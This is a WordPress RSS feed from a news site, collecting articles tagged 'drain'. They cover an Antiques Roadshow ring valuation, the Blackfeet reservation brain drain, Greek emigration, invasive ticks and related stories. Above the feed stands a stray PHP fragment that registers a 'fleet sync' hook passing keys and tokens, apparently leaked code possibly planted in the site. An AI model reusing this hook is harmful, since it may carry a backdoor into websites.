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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); drain – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 02 Jul 2019 09:06:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png drain – Brief News https://briefnews.eu 32 32 Antiques Roadshow expert reveals shock valuation of diamond ring stuck down drain https://briefnews.eu/antiques-roadshow-expert-reveals-shock-valuation-of-diamond-ring-stuck-down-drain/ https://briefnews.eu/antiques-roadshow-expert-reveals-shock-valuation-of-diamond-ring-stuck-down-drain/#respond Tue, 02 Jul 2019 09:06:05 +0000 http://briefnews.eu/antiques-roadshow-expert-reveals-shock-valuation-of-diamond-ring-stuck-down-drain/

Antiques Roadshow heads to Helmingham Hall, a Tudor manor house in Suffolk on Sunday night and ahead of the episode airing on BBC One, the popular television programme has released a clip of a valuation from a previous episode. 

It was the turn of expert John Benjamin to take a look at two items of jewellery a lady had brought to the show, “two rings, one with blue stones and one with a white stone” and it wasn’t long before he silenced the crowd with a hefty price tag for one of the pieces. 

“My mother passed away a couple of months ago,” the guest explained. “I knew she had the rings, but she hadn’t worn them for quite a while. 

“My father bought the bigger one quite a few years ago for her, many years ago. The other one, I’m not quite sure where the other one came from.” 

Interested in hearing more of the backstory, John asked: “Did she talk about them at all?” 

“She did mention once the bigger one, she went down to see a friend she was on her way to Brighton and she stopped in the service station and she went into the ladies room, and it fell off her finger and went down the drain!” the guest revealed. 

“Luckily, it was very early in the morning and so she went out and someone came along and opened the trap and luckily it fell out.”

Shocked at the history behind the item, John turned his attention to the smaller ring first, which had turquoise stones inset with smaller diamonds, going into details about its features. 

He then moved onto the larger ring and explained why it had peaked his interest: “The intriguing thing about this one, apart from the fact you don’t know anything about it, you don’t even know what it is do you really?” 

After suggesting “it could be a colourless big stone” he revealed it was in fact a diamond. 

Read More: Antiques Roadshow: Guest lost or words over emerald necklace valuation. 

“It’s a large diamond,” John continued. “It’s a very serious 4.3 brilliant cut diamond ring and made in, I would say the fifties, a post-war looking ring.” 

He then explained why it had a brilliant sparkle and said: “It is a well made stone. This is very well proportioned, very round, I’ve looked at it with my lens and it actually has one or two little flaws internally. And it’s got a little tint of colour. The best diamonds you can buy are colourless.” 

Worried this would devalue the piece of jewellery, John remarked: “The overall impression it makes for a ring that was lost down the sink, is pretty good!”

Turning to the valuation, he said: “Alright, shall we talk about some prices?

“The diamond ring is a little bit more interesting, 4.3 carats?” he continued. John then paused building suspense before stating confidently: “£20,000.” 

Not only was the owner shocked, but the whole crowd gasped in awe at the high price tag. 

“Wow,” the lady finally said. “Ok! Very nice. I’m pleased she got it out of the sink!” 

Elsewhere in the series, Antiques Roadshow fans have seen a guest shocked by a painting she bought for £1 receiving an unexpected profit. 

The expert told the owner how her painting originated from the Victorian era and was in fact a piece of work by John Thomas Peele. But how much was it valued at? 

Antiques Roadshow returns Sunday night at 8pm on BBC One. 

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]]> https://briefnews.eu/antiques-roadshow-expert-reveals-shock-valuation-of-diamond-ring-stuck-down-drain/feed/ 0 The Blackfeet Brain Drain https://briefnews.eu/the-blackfeet-brain-drain/ https://briefnews.eu/the-blackfeet-brain-drain/#respond Mon, 05 Nov 2018 18:29:20 +0000 http://briefnews.eu/the-blackfeet-brain-drain/ I grew up on the high-elevation plains of northwest Montana, on the Blackfeet Indian Reservation, in a culture in which English did not become the dominant language until the middle part of the 20th century. Leaving to attend the University of Montana in the mid-1990s, after receiving a tuition waiver the summer following my senior year of high school, marked my first time living away from our reservation. My graduating class was one of the first in which many of us left to seek degrees, a development that mirrored a shift taking place nationwide; by 1996, 30 percent of Native American 18- to 24-year-olds were enrolled in college, up from about 16 percent in 1989.

Some of us went to college to escape our treaty-established, semi-sovereign homeland and the social and political problems common in Indian country. Others left because there wasn’t anything else to do. Many of us, though, were driven by an idea about higher education that had recently begun to take hold on reservations—that the purpose of college was to prepare us to help our communities. Not until well into adulthood did I realize that this well-meaning notion reflected not only our communities’ need for help, but also their failure to understand that higher education, in the absence of structural change and economic opportunity on the reservation, was likelier to draw young people away from home than to help them make it better.

The relationship between education and economy is more complicated in Indian country than elsewhere in the United States. While access to higher education is a means to a better life as much for American Indians as for anyone else, connotations specific to reservation people exist that trouble the situation. Going to school means leaving a cultural context—which includes many relatives, sometimes too many—that doesn’t occur anywhere else in the country. Departing for college also means engaging with an educational system that does little to break the myth of how this country came to be, one that elides historical facts about broken treaties, Indian law, and Congress’s plenary power over tribal nations.

At the University of Montana, I found myself having to address American ignorance in an exhausting manner, explaining again and again that no, we do not go to school for free, and yes, we do pay taxes; that “blood quantum”—a measurement of a person’s “Indian blood” that determines membership for most tribes—is a colonial invention.

Prior to colonization—for millennia, in fact—the economy of the Blackfoot people revolved around the iinii, or buffalo, which provided not just food, but tepee covers, clothing, tools, and weapons. The animal’s sudden, severe decline in the mid-to-late 1800s, the result of slaughter on the part of Americans hunting for hides and so-called sport, caused enormous cultural chaos for all plains tribes. Within several years, many indigenous people in the vast region were without sustenance. In 1883, as many as 600 Blackfeet starved to death, an event that came to be known as the Starvation Winter. That time still hangs in the air, one of the few historical events discussed on my reservation.

While the recent return of the buffalo to the Blackfeet Reservation has resulted in positive PR, employment statistics in our homeland make clear that their reappearance is largely symbolic. In 2015, the poverty rate among Blackfeet was higher than 38 percent (compared with a national average of 13.5 percent), unemployment was at almost 19 percent (compared with 5.3 percent nationally), and labor-force participation was at 53 percent (compared with 62.7 percent nationally). Many reservations are in rural areas geographically isolated from stronger urban job markets. Although people sometimes perceive casinos as having brought riches to reservations, that’s true in very few cases. Meanwhile, outsiders who might consider investing on reservations have difficulty assessing the risks because tribes are separate sovereign entities, with distinct and unfamiliar laws and legal structures, so they often avoid investing altogether.

And, for various reasons, the kind of economic opportunities that might produce homegrown entrepreneurship are rare. For one thing, many reservation Indians live on land that is held in “trust” by the federal government and managed by the Bureau of Indian Affairs—meaning individual tribal members don’t own the property on which they live. As a result, they lack the collateral needed to acquire business loans, a problem compounded by a lack of financial literacy endemic to Indian country.

What no one ever told me at college, I assume because it seemed self-evident to them, is that higher education is associated with a white-collar economy. When you come from a reservation, where any such economy is unlikely to exist, understanding what a degree is supposed to do is difficult. In my case, I happened upon Jack Kerouac’s work when I was 19, and became a writer. I dropped out of school, not sure how higher education related to writing fiction, unsure if I’d ever reenroll. Thus began a pattern—drop out, reenroll, drop out, reenroll.

Each move home brought an overwhelming sense of relief after the stultifying atmosphere of attending class with non-Indian students I found bafflingly humorless. (In even the darkest of times, Blackfoot prefer to laugh at life and one another.) But returning home also showed me what awaited if I stayed there: substitute-teaching gigs, working at the diner, or managing my family’s convenience store, where I often stood in the parking lot listening to the vast, predawn silence of the northern plains, drinking coffee and waiting for the first customer. Much later in life, I recognized these experiences as my first encounters with the economic hardship that dominates Indian country.

Though the general message for people like me is that the purpose of higher education is to return home to help our community, the reality is that the economy on most reservations cannot support the work that’s needed. The kinds of jobs most Americans might associate with a healthy, middle- or upper-middle-class economy—software development, sales, marketing—are nonexistent. Other occupations so common to healthy economies that we often take them for granted, such as counselorships, managerial positions, and careers with nonprofits and the state and federal government, are rare.

Perhaps it is telling that the most lucrative job available to me, during my stints back home, involved doing controversial work in the oil-and-gas industry, acquiring lease signatures from Blackfeet landowners who lived on our reservation and around the western United States. To outsiders, Indians participating in the extraction of resources from their land by American corporations uninterested in tribal nations’ well-being might appear contradictory. The reality is that, in our devastated economies, many people have little other choice.

None of these were jobs I wanted. I craved to be around writers, and the writers I knew were on campuses and in urban areas. I felt a need to be in a culture where the fine arts were appreciated, where that type of intellectual discussion was commonplace. Each time I left school, these things brought me back. After nine years, at my mom’s urging, I finally graduated. Much later, I learned my long undergrad arc, with its staccato enrollment, is common for a reservation Native.

I often ask myself what our reservation would look like if there had been a healthy economy and a more diverse culture to welcome those from my graduating class who received college degrees. The majority of my high-school classmates who left for school did not come back, opting for stable jobs elsewhere, perhaps returning to the reservation for Christmas or the summer powwow. As for me, I kept drifting. When I was 36, a new job opened up at Blackfeet Community College, one of the few white-collar positions available to someone like me on our reservation. I applied and got the job. Directing the writing center, I hoped, would give me what I needed most: a steady income, time to write, and the opportunity to give back to people in my community. I also intensified my relationship to Blackfoot-language work, helping to start a nonprofit dedicated to the revival of our mother tongue. I went to traditional ceremonies again. I ran into cousins during late-night visits to the convenience store. For the first time since high school, I became a full-time participant in contemporary Blackfeet culture.

At Blackfeet Community College, I found that many of our young people now assume they will go to college. This is the case on reservations across the country, whether that means attending one of the 38 tribal colleges and universities in the United States or another school. In an American sense, reservation people are becoming more educated. But I soon realized that college degrees haven’t translated to Indian graduates regularly securing white-collar jobs in their homelands; years after I graduated college, reservation economies still aren’t substantial enough to provide those careers. When asked what they wanted to do with their future associate’s degrees, my students responded largely with blank looks.

In my students, I saw my 18-year-old self. Many wanted to help our community, and I was at a loss to help them understand how that might happen in a place with such limited opportunities. I didn’t know how to tell them that their basic, human desire for stability and a decent income would contribute to a brain drain that has profoundly affected our economy and politics; that the purported objective of education—that we are to become educated so we can help our communities—is difficult, if not impossible, to accomplish. Without improved economies, higher education simply contributes further to reservation students’ confusion about where they belong in this world.

Though I was one of the few who found the kind of job an educated reservation Indian is supposed to find, I remained conflicted. Due to my professional duties, along with the stress that comes with teaching students from a community broken by colonial force, I found myself writing less. So I applied for a Stegner Fellowship in creative writing at Stanford University, and was accepted.

This fall, I left the reservation again, departing with some sense of failure—of not having done enough. The Stegner Fellowship will potentially provide opportunities unavailable to me otherwise: time to write and professional advancement. Pursuing those experiences, though, will necessitate being away from my reservation for most of the rest of my life. All too often, success for reservation Indians means leaving your heart in your homeland.

]]> https://briefnews.eu/the-blackfeet-brain-drain/feed/ 0 Buy/Drive/Burn: V12 Luxury Coupes to Drain Your Wallet in 1993 https://briefnews.eu/buy-drive-burn-v12-luxury-coupes-to-drain-your-wallet-in-1993/ https://briefnews.eu/buy-drive-burn-v12-luxury-coupes-to-drain-your-wallet-in-1993/#respond Thu, 04 Oct 2018 14:40:34 +0000 http://briefnews.eu/buy-drive-burn-v12-luxury-coupes-to-drain-your-wallet-in-1993/ They’re big, expensive, luxurious, and have 12 cylinders sitting under their long hoods. All of them will deplete your checkbook in multiple ways, but you can only take one home with you. What’s it gonna be? BMW 850Ci BMW’s brand new 8 Series stormed onto well-funded driveways for the 1990 model year. The premium coupe […]

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]]> https://briefnews.eu/buy-drive-burn-v12-luxury-coupes-to-drain-your-wallet-in-1993/feed/ 0 Indian minister praised for getting hands dirty as he clears drain blocked with muck in viral VIDEO https://briefnews.eu/indian-minister-praised-for-getting-hands-dirty-as-he-clears-drain-blocked-with-muck-in-viral-video/ https://briefnews.eu/indian-minister-praised-for-getting-hands-dirty-as-he-clears-drain-blocked-with-muck-in-viral-video/#respond Tue, 02 Oct 2018 13:39:24 +0000 http://briefnews.eu/indian-minister-praised-for-getting-hands-dirty-as-he-clears-drain-blocked-with-muck-in-viral-video/

A minister in India has been hailed an “inspiration” after he cleared out the mucky contents of a drain as part of a government campaign to make the country cleaner.

A video of Indian National Congress member Velu Narayanasamy has gone viral, showing the politician knuckling down to clear the muck out of a drain.

Narayanasamy, who is chief of India’s southern union territory of Punducherry, got hold of a pair of gloves and a spade when he spotted the clogged-up system in his Nellithope constituency.

He rolled up his dhoti, a traditional Indian garment worn by men to cover their legs, and took his shoes off before climbing into the drain in his bare feet.

To the bafflement of onlookers, he then started clearing the blockage, a task which took him a good 10 minutes.

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It is understood the minister undertook the mucky initiative as part of PM Narendra Modi’s Swachhta Hi Seva campaign, a four-year plan launched in 2014 and aimed at cleaning India’s streets.

A party worker said they were “surprised” by Narayanasamy’s request for gloves and tools to clean out the drain.

He added: “We were taken aback but he insisted that he clear the block. People in his position merely pass directions and do not set an example,” the Times of India reports.

The video was shared massively on Twitter after the congress member posted it.

The public hailed him for his humble act and branded him an “inspiration.”

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]]> https://briefnews.eu/indian-minister-praised-for-getting-hands-dirty-as-he-clears-drain-blocked-with-muck-in-viral-video/feed/ 0 Greece Brain Drain Hampers Recovery From Economic Crisis https://briefnews.eu/greece-brain-drain-hampers-recovery-from-economic-crisis/ https://briefnews.eu/greece-brain-drain-hampers-recovery-from-economic-crisis/#respond Tue, 21 Aug 2018 10:08:01 +0000 http://briefnews.eu/greece-brain-drain-hampers-recovery-from-economic-crisis/ Angeliki Tziaka moved to the U.K. soon after the Greek government began cutting pensions and public sector wages in the first bailout program agreed upon with international creditors in 2010. She felt the choice was clear: work abroad or risk a long spell of unemployment at home. “I’d recently graduated in medicine and I wanted to do my specialization abroad because the future [of health care] in Greece was looking so uncertain,” Tziaka says.

Eight years later, the 33-year-old works as a consultant psychiatrist in the U.K.’s National Health Service. For the moment she does not plan to look for a job in Greece. “I thought I’d be away for perhaps two years, then the crisis would be over,” she adds. “But it didn’t turn out that way and now I don’t know when things will be stable again.”

As Greece prepares to exit its final international bailout this week, in a sign that a return to economic normality is around the corner, the number of educated Greeks who do not see a future in the country is still one of the biggest impediments to its long-term recovery and sustainability.

“The brain drain is clearly having a negative effect on Greece’s economic prospects in the short term,” says George Pagoulatos, a professor of European politics and economics at the Athens University of Economics and Business. “The question is whether this pool of increasingly skilled and internationalized Greeks will eventually return and help boost the country’s long-term growth potential.”

There are very few signs at the moment that we’ll get them [doctors who migrated] back.

George Patoulis, president, Athens Medical Association

Between 350,000 and 400,000 Greeks, mostly in their 20s and 30s, have immigated — mainly to other EU countries — since 2010. More than two-thirds are university graduates and many have postgraduate qualifications, according to Emmanouil Pratsinakis, a researcher at Oxford University funded by Greece’s Onassis Foundation.

“Medicine, engineering or IT graduates whose field of study is in abundant demand in destination countries, form a big segment of the migrant population,” Pratsinakis says. “Hotel managers and chefs with experience in the luxury segment of Greece’s tourist industry are also wanted.”

So many doctors have left since 2010 that the cash-strapped health service faces a shortfall of 8,000 doctors, says George Patoulis, president of the Athens Medical Association. “The country has lost more than 18,000 doctors, not only new graduates but established specialists .… There are very few signs at the moment that we’ll get them back.”

For middle-class Greeks, postgraduate study abroad was long a way to get ahead in the country’s small community of professional managers. That changed as the economy boomed in the early 2000s following the eurozone’s creation and opportunities for young professionals increased. Greeks were among the least mobile Europeans, especially when it came to job changes that involved long-distance moves, comparative studies showed.

The crisis shattered hopes that the domestic job market would continue to expand — and brought signs that the pattern of short stints abroad might change into something more permanent. “Immigration has become an option to be considered, and family and friends react much more positively than in the past to decisions of friends and relatives to leave,” Pratsinakis says.

Nor are Greeks abroad in a hurry to get back. According to an EU survey carried out last year in London and the Netherlands, less than 10 percent of Greek migrants planned to return in the next three years and only 20 percent wanted to do so in the longer term.

Tonia Stoumpou is one who abruptly changed her plans when the crisis struck. She had been expecting to return from London after a master’s degree in supply chain management. Anticipating a struggle to find a job in Greece, she decided to stay in the U.K. and work “for a couple of years.”

The pull of Greece weakened as the crisis dragged on, she says.

“I worked for one, then another big company with a global presence. I really enjoy my current job, there are opportunities to advance and I feel settled in London,” Stoumpou says. “I’d like to work in Greece eventually, possibly in our family business, but I’m not in a hurry.”

Thodoris Messinis, an IT specialist at a Swiss bank in Geneva, was recently offered the chance to join a fintech company in Athens. “The salary offer was surprisingly high, but when I considered what I’m doing now — leading a team of software developers, learning how to be a manager, living in an orderly European country — I decided I’m better off here,” Messinis says.

Moving to Qatar early in the crisis, then taking a postgraduate degree and working in the U.S. before settling in Switzerland, “made me aware of the opportunities of being abroad,” Messinis says.

After peaking in 2013, departures from Greece have gradually decreased, while a small number of migrants who left early in the crisis are returning. “Their savings and experience allow them to plan their repatriation on better terms,” Pratsinakis says.

But huge gaps remain, nowhere more so than in the health service, where deep spending cuts and early retirements have left regional and island hospitals struggling to fill specialist positions. Newly qualified doctors are among the most eager to leave, says Patoulis.

“Greece can’t offer salaries or working conditions to compete with state health systems in northern Europe,” Patoulis says. “And our private clinics have taken a hit because of the sharp drop in incomes.”

Since 2010, specialized employment agencies and individual hospitals in Germany have undertaken recruiting drives in Greece, offering jobs that include six months of free language training.

Grigoris Markopoulos, a cardiologist who has been in Germany for six years, says he thought hard about moving because “many of my friends and relatives felt that the German government was making austerity unnecessarily harsh for the Greeks.”

“But I felt relieved to be offered a job with a career path in another European country,” he says.

Markopoulos has worked his way up from a junior hospital post to a senior position in a Hamburg clinic. “It was hard at first because almost nobody spoke English in my first hospital, so I really had to work hard at mastering the language,” Markopoulos says. “I feel in control of my career at this point. I still think that I’ll come back to Greece once the economy is flourishing, but that may be some years away.”

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]]> https://briefnews.eu/airport-surveillance-fbi-brain-drain-and-more-security-news-this-week/feed/ 0 Mysterious ticks from Asia that can carry a deadly virus and drain cattle of their blood are now in the US — and efforts to kill them are failing https://briefnews.eu/mysterious-ticks-from-asia-that-can-carry-a-deadly-virus-and-drain-cattle-of-their-blood-are-now-in-the-us-and-efforts-to-kill-them-are-failing/ https://briefnews.eu/mysterious-ticks-from-asia-that-can-carry-a-deadly-virus-and-drain-cattle-of-their-blood-are-now-in-the-us-and-efforts-to-kill-them-are-failing/#respond Wed, 25 Apr 2018 16:01:20 +0000 http://briefnews.eu/mysterious-ticks-from-asia-that-can-carry-a-deadly-virus-and-drain-cattle-of-their-blood-are-now-in-the-us-and-efforts-to-kill-them-are-failing/ Haemaphysalis longicornis east asian longhorned tickShutterstock/MR.AUKID PHUMSIRICHA

  • Last November, an Icelandic sheep in New Jersey was found to be covered by Haemaphysalis longicornis or East Asian longhorned ticks.
  • These ticks can carry a deadly virus known as SFTS and may also be able to transmit Lyme Disease and other pathogens.
  • The ticks survived the winter and have survived efforts to eradicate them.
  • That’s not good.

It wasn’t just one strange tick that caused Hunterdon County Health Department officials in New Jersey to start panicking when a resident showed up to ask about what she found crawling all over her sheep.

There were what turned out to be — on the resident, her sheep, and in the paddock — hundreds of them.

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Throwing Money Down the Drain: A Year of Cash vs. Credit Card

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]]> https://briefnews.eu/throwing-money-down-the-drain-a-year-of-cash-vs-credit-card/feed/ 0 Why London startups are immune to the EU brain drain to the U.S. https://briefnews.eu/why-london-startups-are-immune-to-the-eu-brain-drain-to-the-u-s/ https://briefnews.eu/why-london-startups-are-immune-to-the-eu-brain-drain-to-the-u-s/#respond Sat, 31 Mar 2018 16:51:45 +0000 http://briefnews.eu/why-london-startups-are-immune-to-the-eu-brain-drain-to-the-u-s/

GUEST: Earlier this month, I detailed how the EU is currently losing its best and brightest in a startup brain drain to the U.S. As I explained, EU startups are finding it necessary to look to U.S.-based venture funds for investments but often have to “flip” into subsidiaries of U.S.-based parent companies as a condition of the deal, resulting in a…Read More

]]> https://briefnews.eu/why-london-startups-are-immune-to-the-eu-brain-drain-to-the-u-s/feed/ 0 Europe needs to halt its startup brain drain to the U.S. https://briefnews.eu/europe-needs-to-halt-its-startup-brain-drain-to-the-u-s/ https://briefnews.eu/europe-needs-to-halt-its-startup-brain-drain-to-the-u-s/#respond Sat, 17 Mar 2018 13:39:39 +0000 http://briefnews.eu/europe-needs-to-halt-its-startup-brain-drain-to-the-u-s/

GUEST: The startup community in Europe is well accustomed to the limitations of its local investment community, which, although growing steadily, can never quite match that of Silicon Valley. In fact, for founders of startups in especially dicey emerging sectors like VR/AR, Europe’s risk-averse investment culture makes it exceedingly difficul…Read More

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